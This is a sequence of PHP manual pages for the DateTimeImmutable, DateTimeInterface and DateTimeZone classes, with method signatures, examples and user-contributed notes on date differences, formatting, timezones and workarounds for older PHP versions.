  • DateTimeImmutable::setTime »
  • PHP Manual
  • DateTimeImmutable
  • Sets the ISO date

DateTimeImmutable::setISODate

(PHP 5 >= 5.5.0)

DateTimeImmutable::setISODate — Sets the ISO date

Description

public DateTimeImmutable DateTimeImmutable::setISODate ( int $year , int $week [, int $day = 1 ] )

Like DateTime::setISODate() but works with DateTimeImmutable.

User Contributed Notes

There are no user contributed notes for this page.


Sets the time

  • « DateTimeImmutable::setISODate
  • DateTimeImmutable::setTimestamp »
  • PHP Manual
  • DateTimeImmutable
  • Sets the time

DateTimeImmutable::setTime

(PHP 5 >= 5.5.0)

DateTimeImmutable::setTime — Sets the time

Description

public DateTimeImmutable DateTimeImmutable::setTime ( int $hour , int $minute [, int $second = 0 ] )

Like DateTime::setTime() but works with DateTimeImmutable.

User Contributed Notes

There are no user contributed notes for this page.


Sets the date and time based on an Unix timestamp

  • « DateTimeImmutable::setTime
  • DateTimeImmutable::setTimezone »
  • PHP Manual
  • DateTimeImmutable
  • Sets the date and time based on an Unix timestamp

DateTimeImmutable::setTimestamp

(PHP 5 >= 5.5.0)

DateTimeImmutable::setTimestamp — Sets the date and time based on an Unix timestamp

Description

public DateTimeImmutable DateTimeImmutable::setTimestamp ( int $unixtimestamp )

Like DateTime::setTimestamp() but works with DateTimeImmutable.

User Contributed Notes

There are no user contributed notes for this page.


Sets the time zone

  • « DateTimeImmutable::setTimestamp
  • DateTimeImmutable::sub »
  • PHP Manual
  • DateTimeImmutable
  • Sets the time zone

DateTimeImmutable::setTimezone

(PHP 5 >= 5.5.0)

DateTimeImmutable::setTimezone — Sets the time zone

Description

public DateTimeImmutable DateTimeImmutable::setTimezone ( DateTimeZone $timezone )

Like DateTime::setTimezone() but works with DateTimeImmutable.

User Contributed Notes

There are no user contributed notes for this page.


Subtracts an amount of days, months, years, hours, minutes and seconds

  • « DateTimeImmutable::setTimezone
  • DateTimeInterface »
  • PHP Manual
  • DateTimeImmutable
  • Subtracts an amount of days, months, years, hours, minutes and seconds

DateTimeImmutable::sub

(PHP 5 >= 5.5.0)

DateTimeImmutable::sub — Subtracts an amount of days, months, years, hours, minutes and seconds

Description

public DateTimeImmutable DateTimeImmutable::sub ( DateInterval $interval )

Like DateTime::sub() but works with DateTimeImmutable.

User Contributed Notes

There are no user contributed notes for this page.


The DateTimeInterface interface

(PHP 5 >= 5.5.0)

Introduction

Class synopsis

DateTimeInterface {
/* Methods */
public DateInterval diff ( DateTimeInterface $datetime2 [, bool $absolute = false ] )
public string format ( string $format )
public int getOffset ( void )
public int getTimestamp ( void )
public DateTimeZone getTimezone ( void )
public __wakeup ( void )
}

Table of Contents

  • DateTime::diff — Returns the difference between two DateTime objects
  • DateTime::format — Returns date formatted according to given format
  • DateTime::getOffset — Returns the timezone offset
  • DateTime::getTimestamp — Gets the Unix timestamp
  • DateTime::getTimezone — Return time zone relative to given DateTime
  • DateTime::__wakeup — The __wakeup handler

User Contributed Notes

There are no user contributed notes for this page.


Returns the difference between two DateTime objects

  • « DateTimeInterface
  • DateTime::format »
  • PHP Manual
  • DateTimeInterface
  • Returns the difference between two DateTime objects

DateTime::diff

DateTimeImmutable::diff

DateTimeInterface::diff

date_diff

(PHP 5 >= 5.3.0)

DateTime::diff -- DateTimeImmutable::diff -- DateTimeInterface::diff -- date_diff — Returns the difference between two DateTime objects

Description

Object oriented style

public DateInterval DateTime::diff ( DateTimeInterface $datetime2 [, bool $absolute = false ] )
public DateInterval DateTimeImmutable::diff ( DateTimeInterface $datetime2 [, bool $absolute = false ] )
public DateInterval DateTimeInterface::diff ( DateTimeInterface $datetime2 [, bool $absolute = false ] )

Procedural style

DateInterval date_diff ( DateTimeInterface $datetime1 , DateTimeInterface $datetime2 [, bool $absolute = false ] )

Returns the difference between two DateTimeInterface objects.

Parameters

datetime

The date to compare to.

absolute

Should the interval be forced to be positive?

Return Values

The DateInterval object representing the difference between the two dates or FALSE on failure.

Examples

Example #1 DateTime::diff() example

Object oriented style

<?php
$datetime1 = new DateTime('2009-10-11');
$datetime2 = new DateTime('2009-10-13');
$interval = $datetime1->diff($datetime2);
echo $interval->format('%R%a days');
?>

Procedural style

<?php
$datetime1 = date_create('2009-10-11');
$datetime2 = date_create('2009-10-13');
$interval = date_diff($datetime1, $datetime2);
echo $interval->format('%R%a days');
?>

The above examples will output:

+2 days

Example #2 DateTime object comparison

Note:

As of PHP 5.2.2, DateTime objects can be compared using comparison operators.

<?php
$date1 = new DateTime("now");
$date2 = new DateTime("tomorrow");

var_dump($date1 == $date2);
var_dump($date1 < $date2);
var_dump($date1 > $date2);
?>

The above example will output:

bool(false)
bool(true)
bool(false)

See Also

  • DateInterval::format() - Formats the interval
  • DateTime::add() - Adds an amount of days, months, years, hours, minutes and seconds to a DateTime object
  • DateTime::sub() - Subtracts an amount of days, months, years, hours, minutes and seconds from a DateTime object

User Contributed Notes

starsniper at in dot com 08-Jun-2014 09:49
Another Method to compare dates:
<?php
    $d1 = new DateTime('2014-06-07 20:56:00');
    $d2 = new DateTime('2014-06-09 21:09:00');
    echo 'The DateTimes are: <br /> d1: '.$d1->format("d-M-y, h:i A").'<br /> d2: '.$d2->format("d-M-y, h:i A");

    $date_diff = $d1->diff($d2);            // difference of dates =  ($d2 - $d1)

    if ( (int)$date_diff->format('%R%a')  >= 0 ){
        echo '<br /><br />The recent date is: '.$d2->format("d-M-y, h:i A");
        echo '<br /> The older date is: '.$d1->format("d-M-y, h:i A");
    }else{
        echo '<br /><br />The recent date is: '.$d1->format("d-M-y, h:i A");
        echo '<br /> The older date is: '.$d2->format("d-M-y, h:i A");
    }
?>

Output:
The DateTimes are:
d1: 07-Jun-14, 08:56 PM
d2: 09-Jun-14, 09:09 PM

The recent date is: 09-Jun-14, 09:09 PM
The older date is: 07-Jun-14, 08:56 PM
nospam at oece dot me 20-Apr-2014 02:54
Using the identical (===) comparision operator in different but equal objects will return false

<?php
$c = new DateTime( '2014-04-20' );
$d = new DateTime( '2014-04-20' );
var_dump( $d === $d ); #true
var_dump( $d === $c ); #false
var_dump( $d == $c ); #true
?>
crayonviolent at phpfreaks dot com 19-Mar-2014 02:26
It seems that while DateTime in general does preserve microseconds, DateTime::diff doesn't appear to account for it when comparing.

Example:

<?php
$val1 = '2014-03-18 10:34:09.939';
$val2 = '2014-03-18 10:34:09.940';

$datetime1 = new DateTime($val1);
$datetime2 = new DateTime($val2);
echo "<pre>";
var_dump($datetime1->diff($datetime2));

if($datetime1 > $datetime2)
  echo "1 is bigger";
else
  echo "2 is bigger";
?>

The var_dump shows that there is no "u" element, and "2 is bigger" is echoed.

To work around this apparent limitation/oversight, you have to additionally compare using DateTime::format.

Example:

<?php
if($datetime1 > $datetime2)
  echo "1 is bigger";
else if ($datetime1->format('u') > $datetime2->format('u'))
  echo "1 is bigger";
else
  echo "2 is bigger";
?>
ianlenmac at gmail dot com 20-Sep-2013 10:10
It is worth noting, IMO, and it is implied in the docs but not explicitly stated, that the object on which diff is called is subtracted from the object that is passed to diff.

i.e. $now->diff($tomorrow) is positive.
php at jcouture dot net 20-Jun-2013 10:45
After wrestling with DateTime::diff for a while it finally dawned on me the problem was both in the formatting of the input string and the formatting of the output.

The task was to calculate the duration between two date/times.

### Calculating Duration

1. Make sure you have a valid date variable.  Both of these strings are valid:

<?php

// Example

   $strStart = '2013-06-19 18:25';
   $strEnd   = '06/19/13 21:47';

?>

2. Next convert the string to a date variable
~~~
<?php

   $dteStart = new DateTime($strStart);
   $dteEnd   = new DateTime($strEnd);

?>
~~~

3. Calculate the difference
~~~
<?php

   $dteDiff  = $dteStart->diff($dteEnd);

?>
~~~

4. Format the output
~~~
<?php

   print $dteDiff->format("%H:%I:%S");

/*
    Outputs

    03:22:00
*/

?>
~~~

[Modified by moderator for clarify]
gusarov at ukr.net 07-Jun-2013 10:16
for php<5.3
<?php
$date1 = strtotime('2013-07-03 18:00:00');
$date2 = time();
$subTime = $date1 - $date2;
$y = ($subTime/(60*60*24*365));
$d = ($subTime/(60*60*24))%365;
$h = ($subTime/(60*60))%24;
$m = ($subTime/60)%60;

echo "Difference between ".date('Y-m-d H:i:s',$date1)." and ".date('Y-m-d H:i:s',$date2)." is:\n";
echo $y." years\n";
echo $d." days\n";
echo $h." hours\n";
echo $m." minutes\n";
?>
amons dot 360 at gmail dot com 23-Mar-2013 08:00
So this function is not available for my server's PHP. I created an alternative.

Convert the datetime into time-stamps, then subtract normally, then convert the seconds to whatever you want.

<?

$date1 = new DateTime('now');
$date1->modify("-3 hours");

$date2 = new DateTime('now');

$number1 = (int)$date1->format('U');
$number2 = (int)$date2->format('U');

echo ($number2 - $number1)/60/60; // will print 3

?>

-Suleiman ALAQEL
radu dot potop at wooptoo dot com 27-Jun-2012 05:50
Keep in mind that diff will convert the two DateTime objects from local time to UTC.
sgmurphy19 09-Feb-2012 08:00
Though I found a number of people who ran into the issue of 5.2 and lower not supporting this function, I was unable to find any solid examples to get around it. Therefore I hope this can help some others:

<?php
function get_timespan_string($older, $newer) {
  $Y1 = $older->format('Y');
  $Y2 = $newer->format('Y');
  $Y = $Y2 - $Y1;

  $m1 = $older->format('m');
  $m2 = $newer->format('m');
  $m = $m2 - $m1;

  $d1 = $older->format('d');
  $d2 = $newer->format('d');
  $d = $d2 - $d1;

  $H1 = $older->format('H');
  $H2 = $newer->format('H');
  $H = $H2 - $H1;

  $i1 = $older->format('i');
  $i2 = $newer->format('i');
  $i = $i2 - $i1;

  $s1 = $older->format('s');
  $s2 = $newer->format('s');
  $s = $s2 - $s1;

  if($s < 0) {
    $i = $i -1;
    $s = $s + 60;
  }
  if($i < 0) {
    $H = $H - 1;
    $i = $i + 60;
  }
  if($H < 0) {
    $d = $d - 1;
    $H = $H + 24;
  }
  if($d < 0) {
    $m = $m - 1;
    $d = $d + get_days_for_previous_month($m2, $Y2);
  }
  if($m < 0) {
    $Y = $Y - 1;
    $m = $m + 12;
  }
  $timespan_string = create_timespan_string($Y, $m, $d, $H, $i, $s);
  return $timespan_string;
}

function get_days_for_previous_month($current_month, $current_year) {
  $previous_month = $current_month - 1;
  if($current_month == 1) {
    $current_year = $current_year - 1; //going from January to previous December
    $previous_month = 12;
  }
  if($previous_month == 11 || $previous_month == 9 || $previous_month == 6 || $previous_month == 4) {
    return 30;
  }
  else if($previous_month == 2) {
    if(($current_year % 4) == 0) { //remainder 0 for leap years
      return 29;
    }
    else {
      return 28;
    }
  }
  else {
    return 31;
  }
}

function create_timespan_string($Y, $m, $d, $H, $i, $s)
{
  $timespan_string = '';
  $found_first_diff = false;
  if($Y >= 1) {
    $found_first_diff = true;
    $timespan_string .= pluralize($Y, 'year').' ';
  }
  if($m >= 1 || $found_first_diff) {
    $found_first_diff = true;
    $timespan_string .= pluralize($m, 'month').' ';
  }
  if($d >= 1 || $found_first_diff) {
    $found_first_diff = true;
    $timespan_string .= pluralize($d, 'day').' ';
  }
  if($H >= 1 || $found_first_diff) {
    $found_first_diff = true;
    $timespan_string .= pluralize($H, 'hour').' ';
  }
  if($i >= 1 || $found_first_diff) {
    $found_first_diff = true;
    $timespan_string .= pluralize($i, 'minute').' ';
  }
  if($found_first_diff) {
    $timespan_string .= 'and ';
  }
  $timespan_string .= pluralize($s, 'second');
  return $timespan_string;
}

function pluralize( $count, $text )
{
  return $count . ( ( $count == 1 ) ? ( " $text" ) : ( " ${text}s" ) );
}
?>
toreskobba at gmail dot com 11-Nov-2011 12:24
When using datediff make sure your time zone is correct, for me on Windows 7 64 bit it behaved very strange when timezone was wrong (I was comparing now against time in database and exif metadata in photos). For example: date_default_timezone_set('Europe/Oslo');
astagl at gmail dot com 10-Nov-2011 05:21
I needed to get the exact number of days between 2 dates and was relying on the this diff function, but found that I was getting a peculiar result with:

<?php
    $today = new DateTime(date('2011-11-09'));
    $appt  = new DateTime(date('2011-12-09'));
    $days_until_appt = $appt->diff($today)->d;
?>

This was returning 0 because it was exactly one month.

I had to end up using :

<?php
    $days_until_appt = $appt->diff($today)->days;
?>

to get 30.
Anonymous 03-Oct-2011 05:12
$dateTime = new DateTime('2011-08-01 00:00:00');
echo $dateTime->diff(new DateTime('2011-10-01 00:00:01'))->format('%m');

will return 1, instead of 2 ...
milespickens+php at gmail dot com 17-May-2011 12:00
I was looking for a way to output X number of days from a given date and didn't find exactly what I was looking for.  But I got this working.  I hope this helps you.

This will output the number of days,months, or years difference between NOW and a April 1st, 2011.

<?php
    $date1 = new DateTime('2011-04-01');
    $date2 = new DateTime("now");
    $interval = $date1->diff($date2);
    $years = $interval->format('%y');
    $months = $interval->format('%m');
    $days = $interval->format('%d');
    if($years!=0){
        $ago = $years.' year(s) ago';
    }else{
        $ago = ($months == 0 ? $days.' day(s) ago' : $months.' month(s) ago');
    }
    echo $ago;
?>

If I used today, 2011-05-16 as $date1, I could return all 0's in the format.  For example....

<?php
        $date1 = new DateTime('2011-05-161');
    $date2 = new DateTime("now");
    $interval = $date1->diff($date2);
    $diff = $interval->format('%y-%m-%d');
    echo $diff;  //Today, this will output 0-0-0
?>
Grgoire Marchal 18-Feb-2011 11:22
Warning, there's a bug on windows platforms: the result is always 6015 days (and not 42...)

http://bugs.php.net/bug.php?id=51184
schindhelm at gmail dot com 21-Jan-2011 09:48
I found that DateTime::diff isn't as accurate as I thought. I calculated the age gap between now and a birthdate from before 1970 (unix epoch). Here's what I got:

Given today is January 21st, 2011:

<?php
date_default_timezone_set('Europe/Berlin');

// birthdate format is YYYY-MM-DD
$birth = new DateTime('1966-01-21');
$today = new DateTime();
$diff = $birth->diff($today);
echo $diff->format('%y'); // will output 45

$birth = new DateTime('1966-01-23');
$today = new DateTime();
$diff = $birth->diff($today);
echo $diff->format('%y'); // will output 45 wrongly

$birth = new DateTime('1966-01-24'); // three days difference!
$today = new DateTime();
$diff = $birth->diff($today);
echo $diff->format('%y'); // will output 44 - correct
?>

When calculating with the date() function it was more accurate (didn't use seconds/hours for comparison).

Note that 3 days may be a lot if you want to create invoices and have to check against a given age to determine if the customer is chargable for taxes and so on.

If someone also found this behaviour I'd like to hear about it - give me a quick mail at schindhelm (at) gmail (dot) com.
Thanks.
acrion at gmail dot com 13-May-2010 05:52
If you want to quickly scan through the resulting intervals, you can use the undocumented properties of DateInterval.

The function below returns a single number of years, months, days, hours, minutes or seconds between the current date and the provided date.  If the date occurs in the past (is negative/inverted), it suffixes it with 'ago'.

<?php
function pluralize( $count, $text )
{
    return $count . ( ( $count == 1 ) ? ( " $text" ) : ( " ${text}s" ) );
}

function ago( $datetime )
{
    $interval = date_create('now')->diff( $datetime );
    $suffix = ( $interval->invert ? ' ago' : '' );
    if ( $v = $interval->y >= 1 ) return pluralize( $interval->y, 'year' ) . $suffix;
    if ( $v = $interval->m >= 1 ) return pluralize( $interval->m, 'month' ) . $suffix;
    if ( $v = $interval->d >= 1 ) return pluralize( $interval->d, 'day' ) . $suffix;
    if ( $v = $interval->h >= 1 ) return pluralize( $interval->h, 'hour' ) . $suffix;
    if ( $v = $interval->i >= 1 ) return pluralize( $interval->i, 'minute' ) . $suffix;
    return pluralize( $interval->s, 'second' ) . $suffix;
}
?>
Dennis C 10-May-2010 08:24
For those like me who don't yet have PHP 5.3 installed on their host, here's a simple alternative to get the number of days between two dates in the format '2010-3-23' or similar acceptable to strtotime().  You need PHP 5.2.

<?php
function date_diff($date1, $date2) {
    $current = $date1;
    $datetime2 = date_create($date2);
    $count = 0;
    while(date_create($current) < $datetime2){
        $current = gmdate("Y-m-d", strtotime("+1 day", strtotime($current)));
        $count++;
    }
    return $count;
}

echo (date_diff('2010-3-9', '2011-4-10')." days <br \>");
?>
Anonymous 04-Aug-2009 02:17
You don't need to calculate the exact difference if you just want to know what date comes earlier:

<?php

date_default_timezone_set('Europe/Madrid');

$d1 = new DateTime('1492-01-01');
$d2 = new DateTime('1492-12-31');

var_dump($d1 < $d2);
var_dump($d1 > $d2);
var_dump($d1 == $d2);

?>

bool(true)
bool(false)
bool(false)


Returns date formatted according to given format

  • « DateTime::diff
  • DateTime::getOffset »
  • PHP Manual
  • DateTimeInterface
  • Returns date formatted according to given format

DateTime::format

DateTimeImmutable::format

DateTimeInterface::format

date_format

(PHP 5 >= 5.2.0)

DateTime::format -- DateTimeImmutable::format -- DateTimeInterface::format -- date_format — Returns date formatted according to given format

Description

Object oriented style

public string DateTime::format ( string $format )
public string DateTimeImmutable::format ( string $format )
public string DateTimeInterface::format ( string $format )

Procedural style

string date_format ( DateTimeInterface $object , string $format )

Returns date formatted according to given format.

Parameters

object

Procedural style only: A DateTime object returned by date_create()

format

Format accepted by date().

Return Values

Returns the formatted date string on success or FALSE on failure.

Examples

Example #1 DateTime::format() example

Object oriented style

<?php
$date = new DateTime('2000-01-01');
echo $date->format('Y-m-d H:i:s');
?>

Procedural style

<?php
$date = date_create('2000-01-01');
echo date_format($date, 'Y-m-d H:i:s');
?>

The above example will output:

2000-01-01 00:00:00

Notes

This method does not use locales. All output is in English.

See Also

  • date() - Format a local time/date

User Contributed Notes

prussell at cloudworksconsulting dot com 15-Sep-2014 09:02
The udate function is a great start, but the formatting of the milliseconds is a little off. If it is within the first 100000 microseconds then the string will be less than 6 characters, so 0.012435 will appear as 0.12345. The revision below fixes this.

function udate($strFormat = 'u', $uTimeStamp = null)
{

    // If the time wasn't provided then fill it in
    if (is_null($uTimeStamp))
    {
        $uTimeStamp = microtime(true);
    }

    // Round the time down to the second
    $dtTimeStamp = floor($uTimeStamp);

    // Determine the millisecond value
    $intMilliseconds = round(($uTimeStamp - $dtTimeStamp) * 1000000);
    // Format the milliseconds as a 6 character string
    $strMilliseconds = str_pad($intMilliseconds, 6, '0', STR_PAD_LEFT);

    // Replace the milliseconds in the date format string
    // Then use the date function to process the rest of the string
    return date(preg_replace('`(?<!\\\\)u`', $strMilliseconds, $strFormat), $dtTimeStamp);
}
abhinav007jony at gmail dot com 12-Sep-2014 09:59
It's working......
Thanks
.
.
.
.
.
.
.
.
.
.
.abhinav goutam
soul dot enforcer at gmail dot com 02-Apr-2014 09:48
For full reference of the supported format character and results,
see the documentation of date() :
http://www.php.net/manual/en/function.date.php
chris at codewiz dot biz 13-Feb-2014 11:47
I believe this is a bug but its note-worthy if it is intended (I am using PHP 5.5.3).

$ php --version

PHP Warning:  Module 'xdebug' already loaded in Unknown on line 0
PHP 5.5.3-1ubuntu2.1 (cli) (built: Dec 12 2013 04:24:35)
Copyright (c) 1997-2013 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2013 Zend Technologies
    with Xdebug v2.2.3, Copyright (c) 2002-2013, by Derick Rethans
    with Zend OPcache v7.0.3-dev, Copyright (c) 1999-2013, by Zend Technologies

What is happening:

DateTime()->format() will modify the timezone. So do not expect the public date property to be returned (format mask applied) based on the current public timezone property. format will decide that when calling ->format() it will use the server timezone which eliminates all usefulness of ->setTimezone().

<?php
            $nowUtc = new \DateTime( 'now',  new \DateTimeZone( 'UTC' ) );
            echo '$nowUtc'.PHP_EOL;
            var_dump($nowUtc);
            $nowUtc = new \DateTime( 'now',  new \DateTimeZone( 'UTC' ) );
            echo '$nowUtc->format(\'Y-m-d h:i:s\')'.PHP_EOL;
            var_dump($nowUtc->format('Y-m-d h:i:s'));
            $nowUtc->setTimezone( new \DateTimeZone( 'Australia/Sydney' ) );
            echo '$nowUtc->setTimezone( new \DateTimeZone( \'Australia/Sydney\' ) )'.PHP_EOL;
            var_dump($nowUtc);
            echo '$nowUtc->format(\'Y-m-d h:i:s\')'.PHP_EOL;
            var_dump($nowUtc->format('Y-m-d h:i:s'));exit;
?>

outputs;

$nowUtc

object(DateTime)[2607]
  public 'date' => string '2014-02-13 02:42:48' (length=19)
  public 'timezone_type' => int 3
  public 'timezone' => string 'UTC' (length=3)

$nowUtc->format('Y-m-d h:i:s')

string '2014-02-13 02:42:48' (length=19)

$nowUtc->setTimezone( new \DateTimeZone( 'Australia/Sydney' ) )

object(DateTime)[2608]
  public 'date' => string '2014-02-13 13:42:48' (length=19)
  public 'timezone_type' => int 3
  public 'timezone' => string 'Australia/Sydney' (length=16)

$nowUtc->format('Y-m-d h:i:s')

string '2014-02-13 01:42:48' (length=19) // expected 2014-02-13 13:42:48 based on Australia/Sydney - what is 2014-02-13 01:42:48 from anyway!
daysnine at gmail dot com 04-Nov-2013 08:02
Seems like datetime::format does not really support microseconds as the documentation under date suggest it will.

Here is some code to generate a datetime with microseconds and timezone:

private function udate($format = 'u', $utimestamp = null) {
        if (is_null($utimestamp))
            $utimestamp = microtime(true);

        $timestamp = floor($utimestamp);
        $milliseconds = round(($utimestamp - $timestamp) * 1000000);

        return date(preg_replace('`(?<!\\\\)u`', $milliseconds, $format), $timestamp);
    }

echo udate('Y-m-d H:i:s.u T');
// Will output something like: 2014-01-01 12:20:24.42342 CET
Nads 22-Jul-2013 10:51
Date and Time with split seconds

$micro_date = microtime();
$date_array = explode(" ",$micro_date);
$date = date("Y-m-d H:i:s",$date_array[1]);
echo "Date: $date:" . $date_array[0]."<br>";
craig dot constable at gmail dot com 02-Mar-2012 01:24
Using a datetime field from a mysql database e.g. "2012-03-24 17:45:12"

<?php

$result = mysql_query("SELECT `datetime` FROM `table`");
$row = mysql_fetch_row($result);
$date = date_create($row[0]);

echo date_format($date, 'Y-m-d H:i:s');
#output: 2012-03-24 17:45:12

echo date_format($date, 'd/m/Y H:i:s');
#output: 24/03/2012 17:45:12

echo date_format($date, 'd/m/y');
#output: 24/03/12

echo date_format($date, 'g:i A');
#output: 5:45 PM

echo date_format($date, 'G:ia');
#output: 05:45pm

echo date_format($date, 'g:ia \o\n l jS F Y');
#output: 5:45pm on Saturday 24th March 2012

?>
ca at agercon dot dk 01-Jul-2011 05:16
The date_format can be use to get the last day of February:

<?php

function last_day_of_feb ($year) {
# The 0th day of a month is the same as the last day of the month before
        $ultimo_feb_str = $year . "-03-00";
        $ultimo_feb_date = date_create($ultimo_feb_str);
        $return = date_format($ultimo_feb_date, "Y-m-d");
        return $return;
}

echo last_day_of_feb(2011) . "\n"; # 2011-02-28
echo last_day_of_feb(2012) . "\n"; # 2011-02-29

?>
James Meyer 06-Jan-2011 08:49
A note about version differences - the results of this function differ significantly from php 5.2.x to 5.3.x .

The 5.2 implementations will often parse to non-sensical values, such as:

1964/11-12: 1964/-99999/-99999
12/11-1964: -99999/12/11
12-31-1964: -99999/-99999/-99999
11121875: 1112/01/187
01321901: 0132/01/190

(this one makes sense, but was a poor guess)
31/12/1964: 1964/01/12

In 5.3+, these all come back as false, as I would expect.  5.2 was just a little optimistic about it's ability to parse dates, I guess.


Returns the timezone offset

  • « DateTime::format
  • DateTime::getTimestamp »
  • PHP Manual
  • DateTimeInterface
  • Returns the timezone offset

DateTime::getOffset

DateTimeImmutable::getOffset

DateTimeInterface::getOffset

date_offset_get

(PHP 5 >= 5.2.0)

DateTime::getOffset -- DateTimeImmutable::getOffset -- DateTimeInterface::getOffset -- date_offset_get — Returns the timezone offset

Description

Object oriented style

public int DateTime::getOffset ( void )
public int DateTimeImmutable::getOffset ( void )
public int DateTimeInterface::getOffset ( void )

Procedural style

int date_offset_get ( DateTimeInterface $object )

Returns the timezone offset.

Parameters

object

Procedural style only: A DateTime object returned by date_create()

Return Values

Returns the timezone offset in seconds from UTC on success or FALSE on failure.

Examples

Example #1 DateTime::getOffset() example

Object oriented style

<?php
$winter = new DateTime('2010-12-21', new DateTimeZone('America/New_York'));
$summer = new DateTime('2008-06-21', new DateTimeZone('America/New_York'));

echo $winter->getOffset() . "\n";
echo $summer->getOffset() . "\n";
?>

Procedural style

<?php
$winter = date_create('2010-12-21', timezone_open('America/New_York'));
$summer = date_create('2008-06-21', timezone_open('America/New_York'));

echo date_offset_get($winter) . "\n";
echo date_offset_get($summer) . "\n";
?>

The above examples will output:

-18000
-14400

Note: -18000 = -5 hours, -14400 = -4 hours.

User Contributed Notes

s7sunder at gmail dot com 09-Jan-2014 07:47
This will be useful for converting offset values into GMT format

<?php

  //target time zone
  $target_time_zone = new DateTimeZone('America/Los_Angeles');

  //find kolkata time
  $kolkata_date_time = new DateTime('now', $target_time_zone);

  //get the exact GMT format
  echo 'GMT '.$kolkata_date_time->format('P');


Gets the Unix timestamp

  • « DateTime::getOffset
  • DateTime::getTimezone »
  • PHP Manual
  • DateTimeInterface
  • Gets the Unix timestamp

DateTime::getTimestamp

DateTimeImmutable::getTimestamp

DateTimeInterface::getTimestamp

date_timestamp_get

(PHP 5 >= 5.3.0)

DateTime::getTimestamp -- DateTimeImmutable::getTimestamp -- DateTimeInterface::getTimestamp -- date_timestamp_get — Gets the Unix timestamp

Description

Object oriented style

public int DateTime::getTimestamp ( void )
public int DateTimeImmutable::getTimestamp ( void )
public int DateTimeInterface::getTimestamp ( void )

Procedural style

int date_timestamp_get ( DateTimeInterface $object )

Gets the Unix timestamp.

Parameters

This function has no parameters.

Return Values

Returns the Unix timestamp representing the date.

Examples

Example #1 DateTime::getTimestamp() example

Object oriented style

<?php
$date = new DateTime();
echo $date->getTimestamp();
?>

Procedural style

<?php
$date = date_create();
echo date_timestamp_get($date);
?>

The above examples will output something similar to:

1272509157

Notes

Using U as the parameter to DateTime::format() is an alternative when using PHP 5.2.

See Also

  • DateTime::setTimestamp() - Sets the date and time based on an Unix timestamp
  • DateTime::format() - Returns date formatted according to given format

User Contributed Notes

heiccih at gmail dot com 10-Mar-2014 05:11
In 32-bit system the unix timestamp will overflow if the date goes beyond year 2038 and this method will return false. In 64-bit systems this function will still work as intended. For more information please see http://en.wikipedia.org/wiki/Year_2038_problem.
Justin Heesemann 11-Jun-2010 11:57
Note that for dates before the unix epoch getTimestamp() will return false, whereas format("U") will return a negative number.

<?php
$date = new DateTime("1899-12-31");
// "-2209078800"
echo $date->format("U");
// false
echo $date->getTimestamp();
?>


Return time zone relative to given DateTime

  • « DateTime::getTimestamp
  • DateTime::__wakeup »
  • PHP Manual
  • DateTimeInterface
  • Return time zone relative to given DateTime

DateTime::getTimezone

DateTimeImmutable::getTimezone

DateTimeInterface::getTimezone

date_timezone_get

(PHP 5 >= 5.2.0)

DateTime::getTimezone -- DateTimeImmutable::getTimezone -- DateTimeInterface::getTimezone -- date_timezone_get — Return time zone relative to given DateTime

Description

Object oriented style

public DateTimeZone DateTime::getTimezone ( void )
public DateTimeZone DateTimeImmutable::getTimezone ( void )
public DateTimeZone DateTimeInterface::getTimezone ( void )

Procedural style

DateTimeZone date_timezone_get ( DateTimeInterface $object )

Return time zone relative to given DateTime.

Parameters

object

Procedural style only: A DateTime object returned by date_create()

Return Values

Returns a DateTimeZone object on success or FALSE on failure.

Examples

Example #1 DateTime::getTimezone() example

Object oriented style

<?php
$date = new DateTime(null, new DateTimeZone('Europe/London'));
$tz = $date->getTimezone();
echo $tz->getName();
?>

Procedural style

<?php
$date = date_create(null, timezone_open('Europe/London'));
$tz = date_timezone_get($date);
echo timezone_name_get($tz);
?>

The above examples will output:

Europe/London

See Also

  • DateTime::setTimezone() - Sets the time zone for the DateTime object

User Contributed Notes

There are no user contributed notes for this page.


The __wakeup handler

  • « DateTime::getTimezone
  • DateTimeZone »
  • PHP Manual
  • DateTimeInterface
  • The __wakeup handler

DateTime::__wakeup

DateTimeImmutable::__wakeup

DateTimeInterface::__wakeup

(PHP 5 >= 5.2.0)

DateTime::__wakeup -- DateTimeImmutable::__wakeup -- DateTimeInterface::__wakeup — The __wakeup handler

Description

public DateTime::__wakeup ( void )
public DateTimeImmutable::__wakeup ( void )
public DateTimeInterface::__wakeup ( void )

The __wakeup() handler.

Parameters

This function has no parameters.

Return Values

Initializes a DateTime object.

User Contributed Notes

prikkeldraad at gmail dot com 19-Jun-2009 05:14
If you use a version prior to 5.3 you can make __wakeup and __toString work using the following piece of code.

<?php
class ExtendedDateTime extends DateTime {
    private $_date_time;

    public function __toString() {
        return $this->format('c'); // format as ISO 8601
    }

    public function __sleep() {
        $this->_date_time = $this->format('c');
        return array('_date_time');
    }

    public function __wakeup() {
        $this->__construct($this->_date_time);
    }
}
?>

Hope this helps someone.


The DateTimeZone class

(PHP 5 >= 5.2.0)

Introduction

Representation of time zone.

Class synopsis

DateTimeZone {
/* Constants */
const integer AFRICA = 1 ;
const integer AMERICA = 2 ;
const integer ANTARCTICA = 4 ;
const integer ARCTIC = 8 ;
const integer ASIA = 16 ;
const integer ATLANTIC = 32 ;
const integer AUSTRALIA = 64 ;
const integer EUROPE = 128 ;
const integer INDIAN = 256 ;
const integer PACIFIC = 512 ;
const integer UTC = 1024 ;
const integer ALL = 2047 ;
const integer ALL_WITH_BC = 4095 ;
const integer PER_COUNTRY = 4096 ;
/* Methods */
public __construct ( string $timezone )
public array getLocation ( void )
public string getName ( void )
public int getOffset ( DateTime $datetime )
public array getTransitions ([ int $timestamp_begin [, int $timestamp_end ]] )
public static array listAbbreviations ( void )
public static array listIdentifiers ([ int $what = DateTimeZone::ALL [, string $country = NULL ]] )
}

Predefined Constants

DateTimeZone::AFRICA

Africa time zones.

DateTimeZone::AMERICA

America time zones.

DateTimeZone::ANTARCTICA

Antarctica time zones.

DateTimeZone::ARCTIC

Arctic time zones.

DateTimeZone::ASIA

Asia time zones.

DateTimeZone::ATLANTIC

Atlantic time zones.

DateTimeZone::AUSTRALIA

Australia time zones.

DateTimeZone::EUROPE

Europe time zones.

DateTimeZone::INDIAN

Indian time zones.

DateTimeZone::PACIFIC

Pacific time zones.

DateTimeZone::UTC

UTC time zones.

DateTimeZone::ALL

All time zones.

DateTimeZone::ALL_WITH_BC

All time zones including backwards compatible.

DateTimeZone::PER_COUNTRY

Time zones per country.

Table of Contents

  • DateTimeZone::__construct — Creates new DateTimeZone object
  • DateTimeZone::getLocation — Returns location information for a timezone
  • DateTimeZone::getName — Returns the name of the timezone
